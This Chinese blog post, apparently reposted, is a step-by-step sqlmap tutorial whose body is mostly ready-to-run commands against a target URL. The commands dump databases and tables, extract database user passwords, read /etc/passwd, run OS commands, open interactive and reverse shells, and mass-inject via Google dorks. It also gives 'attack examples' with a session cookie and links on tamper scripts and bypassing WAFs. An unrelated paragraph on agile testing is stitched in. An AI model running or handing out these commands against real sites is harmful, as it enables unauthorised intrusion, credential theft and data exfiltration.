第一步:
sqlmap基于Python,所以首先下载:
http://yunpan.cn/QiCBLZtGGTa7U 访问密码 c26e
第二步:
安装Python,将sqlmap解压到Python根目录下;
第三步:
小试牛刀,查看sqlmap版本:
python sqlmap/sqlmap.py -h第四步:
通过SQL注入扫描工具扫描网站,找出怀疑有SQL注入问题的URL;
推荐 啄木鸟 !~~ 《oo》
第五步:
1.基础信息
python sqlmap/sqlmap.py -u "http://url/news?id=1" --current-user #获取当前用户名称 python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --current-db #获取当前数据库名称 python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --tables -D "db_name" #列表名 python sqlmap/sqlmap.py -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段 python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容2.信息内容
python sqlmap/sqlmap.py -u "http://url/news?id=1" --smart --level 3 --users # smart智能 level 执行测试等级 python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbms "Mysql" --users # dbms 指定数据库类型python sqlmap/sqlmap.py -u "http://url/news?id=1" --users #列数据库用户python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs#列数据库 python sqlmap/sqlmap.py -u "http://url/news?id=1" --passwords #数据库用户密码 python sqlmap/sqlmap.py -u "http://url/news?id=1" --passwords-U root -v 0 #列出指定用户数据库密码python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20 #列出指定字段,列出20条 python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump-all -v 0 #列出所有数据库所有表python sqlmap/sqlmap.py -u "http://url/news?id=1" --privileges #查看权限 python sqlmap/sqlmap.py -u "http://url/news?id=1" --privileges -U root #查看指定用户权限python sqlmap/sqlmap.py -u "http://url/news?id=1" --is-dba -v 1 #是否是数据库管理员python sqlmap/sqlmap.py -u "http://url/news?id=1" --roles #枚举数据库用户角色 python sqlmap/sqlmap.py -u "http://url/news?id=1" --udf-inject #导入用户自定义函数(获取系统权限!)python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump-all --exclude-sysdbs -v 0 #列出当前库所有表python sqlmap/sqlmap.py -u "http://url/news?id=1" --union-cols #union 查询表记录 python sqlmap/sqlmap.py -u "http://url/news?id=1" --cookie "COOKIE_VALUE" --level 2 #cookie注入python sqlmap/sqlmap.py -u "http://url/news?id=1" -b #获取banner信息python sqlmap/sqlmap.py -u "http://url/news?id=1" --data "id=3" #post注入python sqlmap/sqlmap.py -u "http://url/news?id=1" -v 1 -f #指纹判别数据库类型 python sqlmap/sqlmap.py -u "http://url/news?id=1" --proxy"http://127.0.0.1:8118" #代理注入python sqlmap/sqlmap.py -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE" #指定关键词python sqlmap/sqlmap.py -u "http://url/news?id=1" --sql-shell #执行指定sql命令python sqlmap/sqlmap.py -u "http://url/news?id=1" --file /etc/passwd python sqlmap/sqlmap.py -u "http://url/news?id=1" --os-cmd=whoami #执行系统命令 python sqlmap/sqlmap.py -u "http://url/news?id=1" --os-shell #系统交互shellpython sqlmap/sqlmap.py -u "http://url/news?id=1" --os-pwn #反弹shell python sqlmap/sqlmap.py -u "http://url/news?id=1" --reg-read #读取win系统注册表python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs-o "sqlmap.log" #保存进度 python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs -o "sqlmap.log" --resume #恢复已保存进度sqlmap -g "google语法" --dump-all --batch #google搜索注入点自动 跑出所有字段攻击实例python sqlmap/sqlmap.py -u "http://url/news?id=1&Submit=Submit" --cookie="PHPSESSID=41aa833e6d0d28f489ff1ab5a7531406" --string="Surname" --dbms=mysql --users --passwordC:\Python27\sqlmap>sqlmap.py -u "http://www.xxx.net/checkMobile.aspx?m=1338789382" --dbms "mssql" --user-agent="Baiduspider" --tables
敏捷测试团队,不再仅仅是在coding之后。而是和研发人员贯穿在需求分析、规格说明、自动化单元测试、自动化验收测试、静态代码分析、技术债等环节中。所以敏捷项目必定在将来效率的趋势下成为主流。
Sqlmap Tamper大全
http://www.91ri.org/7852.html
http://www.91ri.org/7869.html
http://www.91ri.org/7860.html
如何使用SQLMap绕过WAF
http://www.91ri.org/5411.html
转载于:https://www.cnblogs.com/Le30bjectNs11/p/4149711.html
相关资源:JAVA上百实例源码以及开源项目